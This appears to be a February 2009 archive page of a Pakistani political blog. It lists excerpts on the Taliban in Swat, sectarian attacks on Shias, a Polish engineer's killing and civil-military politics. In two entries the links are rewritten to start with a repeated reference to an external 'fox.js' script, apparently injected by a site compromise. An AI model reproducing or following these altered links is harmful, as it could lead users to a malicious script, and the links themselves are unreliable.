Monthly Archive:: February 2009
The Gujaratis of Pakistan – By Aakar Patel: The Gujaratis of Pakistan Sunday, February 08, 2009Aakar Patel Pakistan has fewer Gujaratis than it should, and that is to its detriment. Even so, the Gujaratis of Pakistan are its best citizens. None of the people on the list
President Zardari, please convince General Kayani that Taliban are no longer our natural allies; get rid of ‘strategic depth’ syndrome…: Reining in the militantsSunday, February 08, 2009 On his first visit to Peshawar since moving into the presidency, Asif Ali Zardari attended a series of detailed briefings at the Governor’s House and met with key provincial officials. At the
Diamer Dam and the rights of people of Gilgit-Baltistan – Irshad Ahmed Haqqani: Also read: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2008/11/diamer-bhasha-dam-controversy-rights-of.html
Diamer Dam and the rights of people of Gilgit-Baltistan – Irshad Ahmed Haqqani: Veteran columnist Irshad Ahmed Haqqani provides a perspective on Diamer Dam and the rights of people of Gilgit Baltistan.
Pakistan: From 1971 to 2009; Some lessons for ISI, media, and oridnary public…: A page from history: How did Pakistan Army, dominated by the so called Islamic chauvinists from Punjab, treat their Bengali colleagues in 1971? And the people in Punjab remained unaware/insensitive to the plight of their Bengali brothers and sisters
Pakistan: From 1971 to 2009; Some lessons for ISI, media, and oridnary public…: A page from history: How did Pakistan Army, dominated by the so called Islamic chauvinists from Punjab, treat their Bengali colleagues in 1971? And the people in Punjab remained unaware/insensitive to the plight of their Bengali brothers and sisters
Ziaists in Pakistan: From long march to terrorism – some questions for Nawaz Sharif: There are two forms of Ziaists: (1) political Ziaists who keep conspiring against democracy on the pretext of one excuse or the other; (2) militant Ziaists who are represented in the shape of operatives and sympathizers of Taliban and
Ziaists in Pakistan: From long march to terrorism – some questions for Nawaz Sharif: There are two forms of Ziaists: (1) political Ziaists who keep conspiring against democracy on the pretext of one excuse or the other; (2) militant Ziaists who are represented in the shape of operatives and sympathizers of Taliban and
In January 2009, Saudi courts convicted 25 young Iraqi men of trespassing into Saudi Arabia. Their punishment: beheading.: Saudi Monstrosity and International Silence By Huda Jawad February 04, 2009 “Information Clearinghouse” — – For the past several weeks, dozens of family members have been reaching out to the Iraqi government in a fragile gesture meant to save
Lashkar-e-Jhangavi /Sipah-e-Sahaba involved in killing of Polish engineer in Pakistan: The following report suggests that the kidnapping and beheading of the Polish engineer was carried out by Lashkar-e-Jhangavi /Sipah-e-Sahaba, the local-sponsors of Al Qaeda and Taliban in Pakistan… Taliban Says It Killed a Polish Contractor in Pakistan By JANE
Lashkar-e-Jhangavi /Sipah-e-Sahaba involved in killing of Polish engineer in Pakistan: The following report suggests that the kidnapping and beheading of the Polish engineer was carried out by Lashkar-e-Jhangavi /Sipah-e-Sahaba, the local-sponsors of Al Qaeda and Taliban in Pakistan… Taliban Says It Killed a Polish Contractor in Pakistan By JANE
Poland says engineer held by Taliban believed dead; Taliban’s Sipah-e-Sahaba / Lashkar-e-Jhangavi wing involved…: There are confirmed reports that the Polish engineer kidnapped by the Taliban near the Pindi Sultani area of Attock on Sept 28 has been killed. His driver and two guards were shot dead at the time of his abduction.
Poland says engineer held by Taliban believed dead; Taliban’s Sipah-e-Sahaba / Lashkar-e-Jhangavi wing involved…: There are confirmed reports that the Polish engineer kidnapped by the Taliban near the Pindi Sultani area of Attock on Sept 28 has been killed. His driver and two guards were shot dead at the time of his abduction.
Understanding Pakistan’s Approach to the War on Terror: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/891, click this link if you are not redirected
Understanding Pakistan’s Approach to the War on Terror: Although Pakistan has been a frontline state in the war on terror since the tragic events of September 11, 2001, there is no doubt that General Musharraf initially cast his lot with the United States mainly as a result
‘Intense, focused and targeted’: The third phase of the military operations in Swat: ‘Intense, focused and targeted’Saturday, February 07, 2009by Rahimullah Yusufzai Unlike the earlier two phases of the military operations in Swat in 2007 and 2008, the latest one initiated in late January is being praised by the ANP-PPP government in
Killing and ghettoization of Shias and the responsibility of the State: Return of sectarian war A suicide blast on the occasion of the “chehlum” of Imam Hussain has killed 32 innocent Shia Muslims in Dera Ghazi Khan in Punjab, hours after someone killed a Sunni in the neighbouring NWFP district
Ansar Abbasi admits that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption…: Ansar Abbasi admis that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption…. He complains that PML-N, PPP, PML-Q, MQM, Jamaat Islami, Tehreek Insaf etc remained silent on that case.
Ansar Abbasi admits that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption: Ansar Abbasi admis that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption. He complains that PML-N, PPP, PML-Q, MQM, Jamaat Islami, Tehreek Insaf etc remained silent on that case. Related post: Ansar Abbasi was the
Pakistan cannot restore peace in Swat and FATA unless it hits the current leadership of (Pakistani) Taliban –: Muhammad Amir Khakwani, Express.
Dialogue with Taliban not an option – Farhat Taj: Dialogue with Taliban not an option Friday, February 06, 2009by Farhat Taj I wanted a reply to my email from Masooda Bano to have a better idea of her argument for dialogue with Taliban. She provided the idea through
Dialogue with Taliban not an option – Farhat Taj: Dialogue with Taliban not an option Friday, February 06, 2009by Farhat Taj I wanted a reply to my email from Masooda Bano to have a better idea of her argument for dialogue with Taliban. She provided the idea through
Swat: Taliban terrorists warn lawyers and judges to stop attending the regular courts or risk death.: General Kayani, what is stopping you to arrest Fazullah, your comrade in arms? Madness in the mountainsFriday, February 06, 2009 The militants who control most of Swat have gone mad. They have now threatened to kill lawyers and judges,
Kashmiris and Tamils: Violence will get them nowhere: Violence will get them nowhere By Kuldip Nayar IN a way, what has happened to the Liberation Tigers of Tamil Eelam (LTTE) in Sri Lanka is similar to what has happened to the Hurriyat in Kashmir. Both of them,
Can an honourable Pakhtun do that? Imran Khan, better answer.: Militants kill three women in Swat By Our Correspondent MINGORA: Three women were killed in Swat on Thursday as Taliban continued their attack on people they consider to be pro-government. The militants also blew up two government schools. The
Two School Hited in Swat By Militants: Well done ISI-Taliban alliance: Two School Hited in Swat By Militants Thursday, February 5, 2009 at 12:58 Unknown armed men on Thursday killed three women in restive Swat district besides torching two more schools in the valley. The women were shot dead for
Sectarian attack in D.G. Khan: 36 Shia killed, over 30 injured in DG Khan blast: Sectarian terrorists belonging to Taliban/Sipah-e-Sahaba kill at least 36 Shia Muslims in D.G. Khan. (Picture by BBC Urdu dot com) 24 killed, over 30 injured in DG Khan blast (The News)Updated at: 2105 PST, Thursday, February 05, 2009 DG
Sectarian attack in D.G. Khan: 36 Shia killed, over 30 injured in DG Khan blast: Sectarian terrorists belonging to Taliban/Sipah-e-Sahaba kill at least 36 Shia Muslims in D.G. Khan.
Swat: Interview with Afzal Khan Lala – by Rahimullah Yusufzai: “They need support…” — Mohammad Afzal Khan, ANP leader and the hero of Swat By Rahimullah Yusufzai The 82-year old Mohammad Afzal Khan has emerged as a hero in Swat and beyond, to those who oppose the Taliban ideology.
“We have reservations about the operation”. We (Pakistan) pay lip service to peace in Afghanistan but we tolerate militants’ sanctuaries in Fata.: “We have reservations about the operation” — Afrasyab Khattak, Provincial President, ANP; peace envoy to the NWFP government By Tauseef-ur-Rahman The News on Sunday: Who are Taliban and what is their agenda in the Swat valley? Afrasyab Khattak: The
"We have reservations about the operation". We (Pakistan) pay lip service to peace in Afghanistan but we tolerate militants’ sanctuaries in Fata.: “We have reservations about the operation” — Afrasyab Khattak, Provincial President, ANP; peace envoy to the NWFP government By Tauseef-ur-Rahman The News on Sunday: Who are Taliban and what is their agenda in the Swat valley? Afrasyab Khattak: The
Swat: the other view; a tale of how ‘those in power’ facilitated Taliban in spreading their tentacles in the peacefull valley of Swat….: Swat: the other view By Syed Irfan Ashraf THE ongoing insurgency in Swat has spawned a heated debate in the media. For some it is a class war between the landless and the land-owning elite. Others believe it to
Swat: the other view. A tale of how Military & Mullahs facilitated Taliban in spreading their tentacles in Swat: Swat: the other view By Syed Irfan Ashraf THE ongoing insurgency in Swat has spawned a heated debate in the media. For some it is a class war between the landless and the land-owning elite. Others believe it to
Constable Shah said: “Taliban have given us a new life. We had been under the siege for 36 hours and pleaded for reinforcements, but nobody helped”.: 30 security men freed after ‘promising to quit force’ Dawn Report MINGORA/TIMERGARA, Feb 4: The Taliban in Swat set free 30 police and paramilitary personnel in the presence of journalists in Kotli Dadhara area of Kabal tehsil on Wednesday,